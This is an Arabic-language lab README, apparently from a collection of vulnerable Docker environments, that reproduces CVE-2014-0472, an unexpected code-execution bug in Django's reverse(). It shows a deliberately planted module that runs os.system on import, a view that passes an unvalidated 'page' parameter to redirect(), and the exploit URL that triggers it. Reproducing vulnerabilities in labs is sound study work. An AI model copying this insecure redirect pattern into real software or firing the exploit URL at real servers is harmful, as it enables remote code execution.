
CVE-2014-0472 تنفيذ كود غير متوقع في Django باستخدام reverse()
استخدم
docker-compose up -d
قم بالوصول إلى localhost:8083
المرجع: https://www.djangoproject.com/weblog/2014/apr/21/security/
- يوجد عرض (view) واحد أو أكثر يقوم بإنشاء رابط بناءً على إدخال المستخدم (عادةً معامل "next" في سلسلة الاستعلام يحدد أين يتم إعادة التوجيه بعد إكمال إجراء بنجاح).
- توجد وحدة أو أكثر معروفة للمهاجم على مسار استيراد Python في الخادم، والتي تنفّذ تعليمات برمجية بآثار جانبية عند الاستيراد.
في tests.py
def evil_function():
print("exploit successful")
os.system("echo > /tmp/`whoami` ")
return os.getuid()
evil = evil_function()
في views.py
def redirect_test(request):
page = request.GET.get('page', None)
if page is not None:
redirect(page)
return HttpResponse("OK")
استخدم دالة redirect لاستدعاء الدالة الخبيثة

استخدم exp
http://your-ip:8083/example?page=app.tests.evil

تم الاستغلال
